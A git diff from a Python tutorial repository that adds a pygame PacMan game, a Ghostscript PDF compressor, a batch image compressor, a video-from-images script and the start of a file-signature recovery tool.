walls_collide_list): + self.rect.move_ip(self.direction) + else: + self.direction = (0,0) + + # teleporting to the other side of the map + if self.rect.right <= 0: + self.rect.x = WIDTH + elif self.rect.left >= WIDTH: + self.rect.x = 0 + + self._animate() diff --git a/gui-programming/pacman-game/main.py b/gui-programming/pacman-game/main.py new file mode 100644 index 00000000..738c989f --- /dev/null +++ b/gui-programming/pacman-game/main.py @@ -0,0 +1,32 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, NAV_HEIGHT +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + NAV_HEIGHT)) +pygame.display.set_caption("PacMan") + +class Main: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + + def main(self): + world = World(self.screen) + while True: + self.screen.fill("black") + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + world.update() + pygame.display.update() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Main(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/pacman-game/pac.py b/gui-programming/pacman-game/pac.py new file mode 100644 index 00000000..c7b7242a --- /dev/null +++ b/gui-programming/pacman-game/pac.py @@ -0,0 +1,93 @@ +import pygame + +from settings import CHAR_SIZE, PLAYER_SPEED +from animation import import_sprite + +class Pac(pygame.sprite.Sprite): + def __init__(self, row, col): + super().__init__() + + self.abs_x = (row * CHAR_SIZE) + self.abs_y = (col * CHAR_SIZE) + + # pac animation + self._import_character_assets() + self.frame_index = 0 + self.animation_speed = 0.5 + self.image = self.animations["idle"][self.frame_index] + self.rect = self.image.get_rect(topleft = (self.abs_x, self.abs_y)) + self.mask = pygame.mask.from_surface(self.image) + + self.pac_speed = PLAYER_SPEED + self.immune_time = 0 + self.immune = False + + self.directions = {'left': (-PLAYER_SPEED, 0), 'right': (PLAYER_SPEED, 0), 'up': (0, -PLAYER_SPEED), 'down': (0, PLAYER_SPEED)} + self.keys = {'left': pygame.K_LEFT, 'right': pygame.K_RIGHT, 'up': pygame.K_UP, 'down': pygame.K_DOWN} + self.direction = (0, 0) + + # pac status + self.status = "idle" + self.life = 3 + self.pac_score = 0 + + + # gets all the image needed for animating specific player action + def _import_character_assets(self): + character_path = "assets/pac/" + self.animations = { + "up": [], + "down": [], + "left": [], + "right": [], + "idle": [], + "power_up": [] + } + for animation in self.animations.keys(): + full_path = character_path + animation + self.animations[animation] = import_sprite(full_path) + + + def _is_collide(self, x, y): + tmp_rect = self.rect.move(x, y) + if tmp_rect.collidelist(self.walls_collide_list) == -1: + return False + return True + + + def move_to_start_pos(self): + self.rect.x = self.abs_x + self.rect.y = self.abs_y + + + # update with sprite/sheets + def animate(self, pressed_key, walls_collide_list): + animation = self.animations[self.status] + + # loop over frame index + self.frame_index += self.animation_speed + if self.frame_index >= len(animation): + self.frame_index = 0 + image = animation[int(self.frame_index)] + self.image = pygame.transform.scale(image, (CHAR_SIZE, CHAR_SIZE)) + + self.walls_collide_list = walls_collide_list + for key, key_value in self.keys.items(): + if pressed_key[key_value] and not self._is_collide(*self.directions[key]): + self.direction = self.directions[key] + self.status = key if not self.immune else "power_up" + break + + if not self._is_collide(*self.direction): + self.rect.move_ip(self.direction) + self.status = self.status if not self.immune else "power_up" + if self._is_collide(*self.direction): + self.status = "idle" if not self.immune else "power_up" + + + def update(self): + # Timer based from FPS count + self.immune = True if self.immune_time > 0 else False + self.immune_time -= 1 if self.immune_time > 0 else 0 + + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) \ No newline at end of file diff --git a/gui-programming/pacman-game/requirements.txt b/gui-programming/pacman-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/pacman-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/pacman-game/settings.py b/gui-programming/pacman-game/settings.py new file mode 100644 index 00000000..671a476f --- /dev/null +++ b/gui-programming/pacman-game/settings.py @@ -0,0 +1,33 @@ +MAP = [ + ['1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','B','1','1',' ','1','1','1',' ','1',' ','1','1','1',' ','1','1','B','1'], + ['1',' ',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ',' ','1'], + ['1','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1','1'], + ['1',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ','1'], + ['1',' ','1','1','1','1',' ','1','1','1','1','1',' ','1','1','1','1',' ','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ','r',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','1',' ','1','1','1',' ','1','1','-','1','1',' ','1','1','1',' ','1','1'], + [' ',' ',' ',' ',' ','1',' ','1','s','p','o','1',' ','1',' ',' ',' ',' ',' '], + ['1','1',' ','1',' ','1',' ','1','1','1','1','1',' ','1',' ','1',' ','1','1'], + ['1',' ',' ','1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1',' ',' ','1'], + ['1',' ','1','1','1','1',' ','1','1','1','1','1',' ','1','1','1','1',' ','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1'], + ['1',' ',' ',' ','1',' ',' ',' ',' ','P',' ',' ',' ',' ','1',' ',' ',' ','1'], + ['1','B','1',' ','1',' ','1',' ','1','1','1',' ','1',' ','1',' ','1','B','1'], + ['1',' ','1',' ',' ',' ','1',' ',' ',' ',' ',' ','1',' ',' ',' ','1',' ','1'], + ['1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'] +] + +BOARD_RATIO = (len(MAP[0]), len(MAP)) +CHAR_SIZE = 32 + +WIDTH, HEIGHT = (BOARD_RATIO[0] * CHAR_SIZE, BOARD_RATIO[1] * CHAR_SIZE) +NAV_HEIGHT = 64 + +PLAYER_SPEED = CHAR_SIZE // 4 + +GHOST_SPEED = 4 \ No newline at end of file diff --git a/gui-programming/pacman-game/world.py b/gui-programming/pacman-game/world.py new file mode 100644 index 00000000..2fbe33e4 --- /dev/null +++ b/gui-programming/pacman-game/world.py @@ -0,0 +1,169 @@ +import pygame +import time + +from settings import HEIGHT, WIDTH, NAV_HEIGHT, CHAR_SIZE, MAP, PLAYER_SPEED +from pac import Pac +from cell import Cell +from berry import Berry +from ghost import Ghost +from display import Display + +class World: + def __init__(self, screen): + self.screen = screen + + self.player = pygame.sprite.GroupSingle() + self.ghosts = pygame.sprite.Group() + self.walls = pygame.sprite.Group() + self.berries = pygame.sprite.Group() + + self.display = Display(self.screen) + + self.game_over = False + self.reset_pos = False + self.player_score = 0 + self.game_level = 1 + + self._generate_world() + + + # create and add player to the screen + def _generate_world(self): + # renders obstacle from the MAP table + for y_index, col in enumerate(MAP): + for x_index, char in enumerate(col): + if char == "1": # for walls + self.walls.add(Cell(x_index, y_index, CHAR_SIZE, CHAR_SIZE)) + elif char == " ": # for paths to be filled with berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 4)) + elif char == "B": # for big berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 2, is_power_up=True)) + + # for Ghosts's starting position + elif char == "s": + self.ghosts.add(Ghost(x_index, y_index, "skyblue")) + elif char == "p": + self.ghosts.add(Ghost(x_index, y_index, "pink")) + elif char == "o": + self.ghosts.add(Ghost(x_index, y_index, "orange")) + elif char == "r": + self.ghosts.add(Ghost(x_index, y_index, "red")) + + elif char == "P": # for PacMan's starting position + self.player.add(Pac(x_index, y_index)) + + self.walls_collide_list = [wall.rect for wall in self.walls.sprites()] + + + def generate_new_level(self): + for y_index, col in enumerate(MAP): + for x_index, char in enumerate(col): + if char == " ": # for paths to be filled with berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 4)) + elif char == "B": # for big berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 2, is_power_up=True)) + time.sleep(2) + + + def restart_level(self): + self.berries.empty() + [ghost.move_to_start_pos() for ghost in self.ghosts.sprites()] + self.game_level = 1 + self.player.sprite.pac_score = 0 + self.player.sprite.life = 3 + self.player.sprite.move_to_start_pos() + self.player.sprite.direction = (0, 0) + self.player.sprite.status = "idle" + self.generate_new_level() + + + # displays nav + def _dashboard(self): + nav = pygame.Rect(0, HEIGHT, WIDTH, NAV_HEIGHT) + pygame.draw.rect(self.screen, pygame.Color("cornsilk4"), nav) + + self.display.show_life(self.player.sprite.life) + self.display.show_level(self.game_level) + self.display.show_score(self.player.sprite.pac_score) + + + def _check_game_state(self): + # checks if game over + if self.player.sprite.life == 0: + self.game_over = True + + # generates new level + if len(self.berries) == 0 and self.player.sprite.life > 0: + self.game_level += 1 + for ghost in self.ghosts.sprites(): + ghost.move_speed += self.game_level + ghost.move_to_start_pos() + + self.player.sprite.move_to_start_pos() + self.player.sprite.direction = (0, 0) + self.player.sprite.status = "idle" + self.generate_new_level() + + + def update(self): + if not self.game_over: + # player movement + pressed_key = pygame.key.get_pressed() + self.player.sprite.animate(pressed_key, self.walls_collide_list) + + # teleporting to the other side of the map + if self.player.sprite.rect.right <= 0: + self.player.sprite.rect.x = WIDTH + elif self.player.sprite.rect.left >= WIDTH: + self.player.sprite.rect.x = 0 + + # PacMan eating-berry effect + for berry in self.berries.sprites(): + if self.player.sprite.rect.colliderect(berry.rect): + if berry.power_up: + self.player.sprite.immune_time = 150 # Timer based from FPS count + self.player.sprite.pac_score += 50 + else: + self.player.sprite.pac_score += 10 + berry.kill() + + # PacMan bumping into ghosts + for ghost in self.ghosts.sprites(): + if self.player.sprite.rect.colliderect(ghost.rect): + if not self.player.sprite.immune: + time.sleep(2) + self.player.sprite.life -= 1 + self.reset_pos = True + break + else: + ghost.move_to_start_pos() + self.player.sprite.pac_score += 100 + + self._check_game_state() + + # rendering + [wall.update(self.screen) for wall in self.walls.sprites()] + [berry.update(self.screen) for berry in self.berries.sprites()] + [ghost.update(self.walls_collide_list) for ghost in self.ghosts.sprites()] + self.ghosts.draw(self.screen) + + self.player.update() + self.player.draw(self.screen) + self.display.game_over() if self.game_over else None + + self._dashboard() + + # reset Pac and Ghosts position after PacMan get captured + if self.reset_pos and not self.game_over: + [ghost.move_to_start_pos() for ghost in self.ghosts.sprites()] + self.player.sprite.move_to_start_pos() + self.player.sprite.status = "idle" + self.player.sprite.direction = (0,0) + self.reset_pos = False + + # for restart button + if self.game_over: + pressed_key = pygame.key.get_pressed() + if pressed_key[pygame.K_r]: + self.game_over = False + self.restart_level() \ No newline at end of file diff --git a/gui-programming/rich-text-editor/rich_text_editor.py b/gui-programming/rich-text-editor/rich_text_editor.py index 10c14263..05259905 100644 --- a/gui-programming/rich-text-editor/rich_text_editor.py +++ b/gui-programming/rich-text-editor/rich_text_editor.py @@ -112,9 +112,9 @@ def fileManager(event=None, action=None): document['tags'][tagName] = [] ranges = textArea.tag_ranges(tagName) - - for i, tagRange in enumerate(ranges[::2]): - document['tags'][tagName].append([str(tagRange), str(ranges[i+1])]) + + for i in range(0, len(ranges), 2): + document['tags'][tagName].append([str(ranges[i]), str(ranges[i + 1])]) if not filePath: # ask the user for a filename with the native file explorer. diff --git a/handling-pdf-files/pdf-compressor/README.md b/handling-pdf-files/pdf-compressor/README.md index 4527174c..307f105c 100644 --- a/handling-pdf-files/pdf-compressor/README.md +++ b/handling-pdf-files/pdf-compressor/README.md @@ -1,8 +1,48 @@ # [How to Compress PDF Files in Python](https://www.thepythoncode.com/article/compress-pdf-files-in-python) -To run this: -- `pip3 install -r requirements.txt` -- To compress `bert-paper.pdf` file: - ``` - $ python pdf_compressor.py bert-paper.pdf bert-paper-min.pdf - ``` - This will spawn a new compressed PDF file under the name `bert-paper-min.pdf`. + +This directory contains two approaches: + +- Legacy (commercial): `pdf_compressor.py` uses PDFTron/PDFNet. PDFNet now requires a license key and the old pip package is not freely available, so this may not work without a license. +- Recommended (open source): `pdf_compressor_ghostscript.py` uses Ghostscript to compress PDFs. + +## Ghostscript method (recommended) + +Prerequisite: Install Ghostscript + +- macOS (Homebrew): + - `brew install ghostscript` +- Ubuntu/Debian: + - `sudo apt-get update && sudo apt-get install -y ghostscript` +- Windows: + - Download and install from https://ghostscript.com/releases/ + - Ensure `gswin64c.exe` (or `gswin32c.exe`) is in your PATH. + +No Python packages are required for this method, only Ghostscript. + +### Usage + +To compress `bert-paper.pdf` into `bert-paper-min.pdf` with default quality (`power=2`): + +``` +python pdf_compressor_ghostscript.py bert-paper.pdf bert-paper-min.pdf +``` + +Optional quality level `[power]` controls compression/quality tradeoff (maps to Ghostscript `-dPDFSETTINGS`): + +- 0 = `/screen` (smallest, lowest quality) +- 1 = `/ebook` (good quality) +- 2 = `/printer` (high quality) [default] +- 3 = `/prepress` (very high quality) +- 4 = `/default` (Ghostscript default) + +Example: + +``` +python pdf_compressor_ghostscript.py bert-paper.pdf bert-paper-min.pdf 1 +``` + +In testing, `bert-paper.pdf` (~757 KB) compressed to ~407 KB with `power=1`. + +## Legacy PDFNet method (requires license) + +If you have a valid license and the PDFNet SDK installed, you can use the original `pdf_compressor.py` script. Note that the previously referenced `PDFNetPython3` pip package is not freely available and may not install via pip. Refer to the vendor's documentation for installation and licensing. \ No newline at end of file diff --git a/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py b/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py new file mode 100644 index 00000000..88de4062 --- /dev/null +++ b/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py @@ -0,0 +1,103 @@ +import os +import sys +import subprocess +import shutil + + +def get_size_format(b, factor=1024, suffix="B"): + for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: + if b < factor: + return f"{b:.2f}{unit}{suffix}" + b /= factor + return f"{b:.2f}Y{suffix}" + + +def find_ghostscript_executable(): + candidates = [ + shutil.which('gs'), + shutil.which('gswin64c'), + shutil.which('gswin32c'), + ] + for c in candidates: + if c: + return c + return None + + +def compress_file(input_file: str, output_file: str, power: int = 2): + """Compress PDF using Ghostscript. + + power: + 0 -> /screen (lowest quality, highest compression) + 1 -> /ebook (good quality) + 2 -> /printer (high quality) [default] + 3 -> /prepress (very high quality) + 4 -> /default (Ghostscript default) + """ + if not os.path.exists(input_file): + raise FileNotFoundError(f"Input file not found: {input_file}") + if not output_file: + output_file = input_file + + initial_size = os.path.getsize(input_file) + + gs = find_ghostscript_executable() + if not gs: + raise RuntimeError( + "Ghostscript not found. Install it and ensure 'gs' (Linux/macOS) " + "or 'gswin64c'/'gswin32c' (Windows) is in PATH." + ) + + settings_map = { + 0: '/screen', + 1: '/ebook', + 2: '/printer', + 3: '/prepress', + 4: '/default', + } + pdfsettings = settings_map.get(power, '/printer') + + cmd = [ + gs, + '-sDEVICE=pdfwrite', + '-dCompatibilityLevel=1.4', + f'-dPDFSETTINGS={pdfsettings}', + '-dNOPAUSE', + '-dBATCH', + '-dQUIET', + f'-sOutputFile={output_file}', + input_file, + ] + + try: + subprocess.run(cmd, check=True) + except subprocess.CalledProcessError as e: + print(f"Ghostscript failed: {e}") + return False + + compressed_size = os.path.getsize(output_file) + ratio = 1 - (compressed_size / initial_size) + summary = { + "Input File": input_file, + "Initial Size": get_size_format(initial_size), + "Output File": output_file, + "Compressed Size": get_size_format(compressed_size), + "Compression Ratio": f"{ratio:.3%}", + } + + print("## Summary ########################################################") + for k, v in summary.items(): + print(f"{k}: {v}") + print("###################################################################") + return True + + +if __name__ == '__main__': + if len(sys.argv) < 3: + print("Usage: python pdf_compressor_ghostscript.py [power 0-4]") + sys.exit(1) + input_file = sys.argv[1] + output_file = sys.argv[2] + power = int(sys.argv[3]) if len(sys.argv) > 3 else 2 + ok = compress_file(input_file, output_file, power) + sys.exit(0 if ok else 2) \ No newline at end of file diff --git a/handling-pdf-files/pdf-compressor/requirements.txt b/handling-pdf-files/pdf-compressor/requirements.txt index 0a664a86..9f6e5337 100644 --- a/handling-pdf-files/pdf-compressor/requirements.txt +++ b/handling-pdf-files/pdf-compressor/requirements.txt @@ -1 +1,7 @@ -PDFNetPython3==8.1.0 \ No newline at end of file +# No Python dependencies required for Ghostscript-based compressor. +# System dependency: Ghostscript +# - macOS: brew install ghostscript +# - Debian: sudo apt-get install -y ghostscript +# - Windows: https://ghostscript.com/releases/ +# +# The legacy script (pdf_compressor.py) depends on PDFNet (commercial) and a license key. \ No newline at end of file diff --git a/images/codingfleet-banner-2.png b/images/codingfleet-banner-2.png new file mode 100644 index 00000000..e95c4d27 Binary files /dev/null and b/images/codingfleet-banner-2.png differ diff --git a/images/codingfleet-banner-3.png b/images/codingfleet-banner-3.png new file mode 100644 index 00000000..9f27495e Binary files /dev/null and b/images/codingfleet-banner-3.png differ diff --git a/images/iproyal-1.png b/images/iproyal-1.png new file mode 100644 index 00000000..9e607e13 Binary files /dev/null and b/images/iproyal-1.png differ diff --git a/python-for-multimedia/compress-image/README.md b/python-for-multimedia/compress-image/README.md index 32f51450..919414cc 100644 --- a/python-for-multimedia/compress-image/README.md +++ b/python-for-multimedia/compress-image/README.md @@ -1,4 +1,56 @@ -# [How to Compress Images in Python](https://www.thepythoncode.com/article/compress-images-in-python) -To run this: -- `pip3 install -r requirements.txt` -- `python compress_image.py --help` \ No newline at end of file +# Compress Image + +Advanced Image Compressor with Batch Processing + +This script provides advanced image compression and resizing features using Python and Pillow. + +## Features + +- Batch processing of multiple images or directories +- Lossy and lossless compression (PNG/WebP) +- Optional JPEG conversion +- Resize by ratio or explicit dimensions +- Preserve or strip metadata (EXIF) +- Custom output directory +- Progress bar using `tqdm` +- Detailed logging + +## Requirements + +- Python 3.6+ +- [Pillow](https://pypi.org/project/Pillow/) +- [tqdm](https://pypi.org/project/tqdm/) + +Install dependencies: + +```bash +pip install pillow tqdm +``` + +## Usage + +```bash +python compress_image.py [options] [ ...] +``` + +## Options +- `-o`, `--output-dir`: Output directory (default: same as input) +- `-q`, `--quality`: Compression quality (0-100, default: 85) +- `-r`, `--resize-ratio`: Resize ratio (0-1, default: 1.0) +- `-w`, `--width`: Output width (requires `--height`) +- `-hh`, `--height`: Output height (requires `--width`) +- `-j`, `--to-jpg`: Convert output to JPEG +- `-m`, `--no-metadata`: Strip metadata (default: preserve) +- `-l`, `--lossless`: Use lossless compression (PNG/WEBP) + +## Examples + +```bash +python compress_image.py image.jpg -r 0.5 -q 80 -j +python compress_image.py images/ -o output/ -m +python compress_image.py image.png -l +``` + +## License + +MIT License. diff --git a/python-for-multimedia/compress-image/compress_image.py b/python-for-multimedia/compress-image/compress_image.py index ed16d06a..f1696aa0 100644 --- a/python-for-multimedia/compress-image/compress_image.py +++ b/python-for-multimedia/compress-image/compress_image.py @@ -1,88 +1,104 @@ import os from PIL import Image +import argparse +import logging +from tqdm import tqdm +# Configure logging +logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') +logger = logging.getLogger(__name__) def get_size_format(b, factor=1024, suffix="B"): - """ - Scale bytes to its proper byte format - e.g: - 1253656 => '1.20MB' - 1253656678 => '1.17GB' - """ + """Scale bytes to its proper byte format.""" for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: if b < factor: return f"{b:.2f}{unit}{suffix}" b /= factor return f"{b:.2f}Y{suffix}" - - -def compress_img(image_name, new_size_ratio=0.9, quality=90, width=None, height=None, to_jpg=True): - # load the image to memory - img = Image.open(image_name) - # print the original image shape - print("[*] Image shape:", img.size) - # get the original image size in bytes - image_size = os.path.getsize(image_name) - # print the size before compression/resizing - print("[*] Size before compression:", get_size_format(image_size)) - if new_size_ratio < 1.0: - # if resizing ratio is below 1.0, then multiply width & height with this ratio to reduce image size - img = img.resize((int(img.size[0] * new_size_ratio), int(img.size[1] * new_size_ratio)), Image.ANTIALIAS) - # print new image shape - print("[+] New Image shape:", img.size) - elif width and height: - # if width and height are set, resize with them instead - img = img.resize((width, height), Image.ANTIALIAS) - # print new image shape - print("[+] New Image shape:", img.size) - # split the filename and extension - filename, ext = os.path.splitext(image_name) - # make new filename appending _compressed to the original file name - if to_jpg: - # change the extension to JPEG - new_filename = f"{filename}_compressed.jpg" - else: - # retain the same extension of the original image - new_filename = f"{filename}_compressed{ext}" +def compress_image( + input_path, + output_dir=None, + quality=85, + resize_ratio=1.0, + width=None, + height=None, + to_jpg=False, + preserve_metadata=True, + lossless=False, +): + """Compress an image with advanced options.""" try: - # save the image with the corresponding quality and optimize set to True - img.save(new_filename, quality=quality, optimize=True) - except OSError: - # convert the image to RGB mode first - img = img.convert("RGB") - # save the image with the corresponding quality and optimize set to True - img.save(new_filename, quality=quality, optimize=True) - print("[+] New file saved:", new_filename) - # get the new image size in bytes - new_image_size = os.path.getsize(new_filename) - # print the new size in a good format - print("[+] Size after compression:", get_size_format(new_image_size)) - # calculate the saving bytes - saving_diff = new_image_size - image_size - # print the saving percentage - print(f"[+] Image size change: {saving_diff/image_size*100:.2f}% of the original image size.") - - + img = Image.open(input_path) + logger.info(f"[*] Processing: {os.path.basename(input_path)}") + logger.info(f"[*] Original size: {get_size_format(os.path.getsize(input_path))}") + + # Resize if needed + if resize_ratio < 1.0: + new_size = (int(img.size[0] * resize_ratio), int(img.size[1] * resize_ratio)) + img = img.resize(new_size, Image.LANCZOS) + logger.info(f"[+] Resized to: {new_size}") + elif width and height: + img = img.resize((width, height), Image.LANCZOS) + logger.info(f"[+] Resized to: {width}x{height}") + + # Prepare output path + filename, ext = os.path.splitext(os.path.basename(input_path)) + output_ext = ".jpg" if to_jpg else ext + output_filename = f"{filename}_compressed{output_ext}" + output_path = os.path.join(output_dir or os.path.dirname(input_path), output_filename) + + # Save with options + save_kwargs = {"quality": quality, "optimize": True} + if not preserve_metadata: + save_kwargs["exif"] = b"" # Strip metadata + if lossless and ext.lower() in (".png", ".webp"): + save_kwargs["lossless"] = True + + try: + img.save(output_path, **save_kwargs) + except OSError: + img = img.convert("RGB") + img.save(output_path, **save_kwargs) + + logger.info(f"[+] Saved to: {output_path}") + logger.info(f"[+] New size: {get_size_format(os.path.getsize(output_path))}") + except Exception as e: + logger.error(f"[!] Error processing {input_path}: {e}") + +def batch_compress( + input_paths, + output_dir=None, + quality=85, + resize_ratio=1.0, + width=None, + height=None, + to_jpg=False, + preserve_metadata=True, + lossless=False, +): + """Compress multiple images.""" + if output_dir and not os.path.exists(output_dir): + os.makedirs(output_dir, exist_ok=True) + for path in tqdm(input_paths, desc="Compressing images"): + compress_image(path, output_dir, quality, resize_ratio, width, height, to_jpg, preserve_metadata, lossless) + if __name__ == "__main__": - import argparse - parser = argparse.ArgumentParser(description="Simple Python script for compressing and resizing images") - parser.add_argument("image", help="Target image to compress and/or resize") - parser.add_argument("-j", "--to-jpg", action="https://github.com/store_true", help="Whether to convert the image to the JPEG format") - parser.add_argument("-q", "--quality", type=int, help="Quality ranging from a minimum of 0 (worst) to a maximum of 95 (best). Default is 90", default=90) - parser.add_argument("-r", "--resize-ratio", type=float, help="Resizing ratio from 0 to 1, setting to 0.5 will multiply width & height of the image by 0.5. Default is 1.0", default=1.0) - parser.add_argument("-w", "--width", type=int, help="The new width image, make sure to set it with the `height` parameter") - parser.add_argument("-hh", "--height", type=int, help="The new height for the image, make sure to set it with the `width` parameter") + parser = argparse.ArgumentParser(description="Advanced Image Compressor with Batch Processing") + parser.add_argument("input", nargs='+', help="Input image(s) or directory") + parser.add_argument("-o", "--output-dir", help="Output directory (default: same as input)") + parser.add_argument("-q", "--quality", type=int, default=85, help="Compression quality (0-100)") + parser.add_argument("-r", "--resize-ratio", type=float, default=1.0, help="Resize ratio (0-1)") + parser.add_argument("-w", "--width", type=int, help="Output width (requires --height)") + parser.add_argument("-hh", "--height", type=int, help="Output height (requires --width)") + parser.add_argument("-j", "--to-jpg", action="https://github.com/store_true", help="Convert output to JPEG") + parser.add_argument("-m", "--no-metadata", action="https://github.com/store_false", help="Strip metadata") + parser.add_argument("-l", "--lossless", action="https://github.com/store_true", help="Use lossless compression (PNG/WEBP)") + args = parser.parse_args() - # print the passed arguments - print("="*50) - print("[*] Image:", args.image) - print("[*] To JPEG:", args.to_jpg) - print("[*] Quality:", args.quality) - print("[*] Resizing ratio:", args.resize_ratio) - if args.width and args.height: - print("[*] Width:", args.width) - print("[*] Height:", args.height) - print("="*50) - # compress the image - compress_img(args.image, args.resize_ratio, args.quality, args.width, args.height, args.to_jpg) \ No newline at end of file + input_paths = [] + for path in args.input: + if os.path.isdir(path): input_paths.extend(os.path.join(path, f) for f in os.listdir(path) if f.lower().endswith((".jpg",".jpeg",".png",".webp"))) + else: input_paths.append(path) + if not input_paths: logger.error("No valid images found!"); exit(1) + batch_compress(input_paths, args.output_dir, args.quality, args.resize_ratio, args.width, args.height, args.to_jpg, args.no_metadata, args.lossless) diff --git a/python-for-multimedia/create-video-from-images/README.md b/python-for-multimedia/create-video-from-images/README.md new file mode 100644 index 00000000..43cce95b --- /dev/null +++ b/python-for-multimedia/create-video-from-images/README.md @@ -0,0 +1 @@ +# [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python) \ No newline at end of file diff --git a/python-for-multimedia/create-video-from-images/create_video_from_images.py b/python-for-multimedia/create-video-from-images/create_video_from_images.py new file mode 100644 index 00000000..e81efd9a --- /dev/null +++ b/python-for-multimedia/create-video-from-images/create_video_from_images.py @@ -0,0 +1,43 @@ +import cv2 +import argparse +import glob +from pathlib import Path +import shutil + +# Create an ArgumentParser object to handle command-line arguments +parser = argparse.ArgumentParser(description='Create a video from a set of images') + +# Define the command-line arguments +parser.add_argument('output', type=str, help='Output path for video file') +parser.add_argument('input', nargs='+', type=str, help='Glob pattern for input images') +parser.add_argument('-fps', type=int, help='FPS for video file', default=24) + +# Parse the command-line arguments +args = parser.parse_args() + +# Create a list of all the input image files +FILES = [] +for i in args.input: + FILES += glob.glob(i) + +# Get the filename from the output path +filename = Path(args.output).name +print(f'Creating video "{filename}" from images "{FILES}"') + +# Load the first image to get the frame size +frame = cv2.imread(FILES[0]) +height, width, layers = frame.shape + +# Create a VideoWriter object to write the video file +fourcc = cv2.VideoWriter_fourcc(*'mp4v') +video = cv2.VideoWriter(filename=filename, fourcc=fourcc, fps=args.fps, frameSize=(width, height)) + +# Loop through the input images and add them to the video +for image_path in FILES: + print(f'Adding image "{image_path}" to video "{args.output}"... ') + video.write(cv2.imread(image_path)) + +# Release the VideoWriter and move the output file to the specified location +cv2.destroyAllWindows() +video.release() +shutil.move(filename, args.output) diff --git a/python-for-multimedia/create-video-from-images/requirements.txt b/python-for-multimedia/create-video-from-images/requirements.txt new file mode 100644 index 00000000..1db7aea1 --- /dev/null +++ b/python-for-multimedia/create-video-from-images/requirements.txt @@ -0,0 +1 @@ +opencv-python \ No newline at end of file diff --git a/python-for-multimedia/recover-deleted-files/README.md b/python-for-multimedia/recover-deleted-files/README.md new file mode 100644 index 00000000..9b57b100 --- /dev/null +++ b/python-for-multimedia/recover-deleted-files/README.md @@ -0,0 +1 @@ +# [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python) \ No newline at end of file diff --git a/python-for-multimedia/recover-deleted-files/file_recovery.py b/python-for-multimedia/recover-deleted-files/file_recovery.py new file mode 100644 index 00000000..057995c4 --- /dev/null +++ b/python-for-multimedia/recover-deleted-files/file_recovery.py @@ -0,0 +1,552 @@ + +import os +import sys +import argparse +import struct +import time +import logging +import subprocess +import signal +from datetime import datetime, timedelta +from pathlib import Path +import binascii + +# File signatures (magic numbers) for common file types +FILE_SIGNATURES = { + 'jpg': [bytes([0xFF, 0xD8, 0xFF, 0xE0]), bytes([0xFF, 0xD8, 0xFF, 0xE1])], + 'png': [bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])], + 'gif': [bytes([0x47, 0x49, 0x46, 0x38, 0x37, 0x61]), bytes([0x47, 0x49, 0x46, 0x38, 0x39, 0x61])], + 'pdf': [bytes([0x25, 0x50, 0x44, 0x46])], + 'zip': [bytes([0x50, 0x4B, 0x03, 0x04])], + 'docx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature + 'xlsx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature + 'pptx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature + 'mp3': [bytes([0x49, 0x44, 0x33])], + 'mp4': [bytes([0x00, 0x00, 0x00, 0x18, 0x66, 0x74, 0x79, 0x70])], + 'avi': [bytes([0x52, 0x49, 0x46, 0x46])], +} + +# Additional validation patterns to check after finding the signature +# This helps reduce false positives +VALIDATION_PATTERNS = { + 'docx': [b'word/', b'[Content_Types].xml'], + 'xlsx': [b'xl/', b'[Content_Types].xml'], + 'pptx': [b'ppt/', b'[Content_Types].xml'], + 'zip': [b'PK\x01\x02'], # Central directory header + 'pdf': [b'obj', b'endobj'], +} + +# File endings (trailer signatures) for some file types +FILE_TRAILERS = { + 'jpg': bytes([0xFF, 0xD9]), + 'png': bytes([0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82]), + 'gif': bytes([0x00, 0x3B]), + 'pdf': bytes([0x25, 0x25, 0x45, 0x4F, 0x46]), +} + 